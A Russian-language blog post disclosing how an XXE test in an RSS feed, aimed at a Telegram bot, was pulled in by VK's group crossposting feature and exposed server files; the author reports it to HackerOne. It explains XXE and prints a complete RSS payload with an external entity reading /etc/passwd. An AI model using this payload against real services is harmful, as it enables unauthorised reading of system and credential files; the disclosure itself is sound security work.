Чтение файлов vk с помощью ленты новостей

By 3 марта 2016Без рубрики

Привет!

Возможно, ты уже видел странную запись в твиттере

Оригинал записи тут.

Уязвимость не очень интересная (классика), статья — скучная, но по просьбам решил написать, как так вышло.

Когда-то, я добавил возможность в группу кросспостить прямиком из rss блога. Делалось это через поддержку, как-то так:

Общение с поддержкой

Общение с поддержкой

После чего в группе появлялась строка, где можно было ввести url с твоей rss лентой

Настройка rss

Настройка rss

Но почему-то в том году, когда я подключил данную функцию, она у меня не заработала. То-ли потому что накосячил с url, то-ли потому что пересел на feedburner. В общем забыл я о ней, а в настройки группы вовсе и не заходил.

Шло время…

В моду вошёл telegram и часть контента я получаю именно там, с помощью ботов. Появился бот, в которого можно добавлять свои источники, в том числе rss. А так как RSS — это XML, решил я протестировать там атаку XXE.

 


Если не знаешь, что такое XXE.
Смотри. XML состоит из тегов, грубо:

<?xml version="1.0"?>
<имя>Вася</имя>
<фамилия>Пупкин</фамилия>

Но так же поддерживаются внешние сущности — грубо говоря, когда содержимое тега можно наполнить содержимым из файла. Выглядит это как-то так:

<?xml version="1.0"?>
<!DOCTYPE имя [ <!ENTITY файл SYSTEM "file:///etc/passwd" >]>
<имя>&файл;</имя>
<фамилия>Пупкин</фамилия>

Если ты нифига не понял — перечитай ещё три раза.


 

Сижу, никого не трогаю (пытаюсь сломать бота) запилил подобный вектор:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE description [ <!ELEMENT description ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Hackers attack</title>
<link>http://bo0om.ru/</link>
<description>Bo0oM</description>
<lastBuildDate>Mon, 03 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>cat /etc/passwd</title>
<link>https://bo0om.ru/</link>
<description>&xxe;</description>
<author>Bo0oM</author>
<pubDate>Mon, 02 Feb 2016 20:15:55 -0000</pubDate>
</item>
</channel>
</rss>

Положил в rss.xml, меняю вектора, играюсь.
И тут мне приходит сообщение от @sergeybelove:

WAT

WAT?

Вот это поворот!

Потом написал @cyberpunkych, @MERR0N и другие ребята. В это время я уже прочитал интересные файлы и отправил репорт на hackeone. Оказывается, vk подтянул rss.xml с атакой с помощью давно забытого (мной) функционала, который оказался к этой атаке уязвим.

Join the discussion 3 комментария

Leave a Reply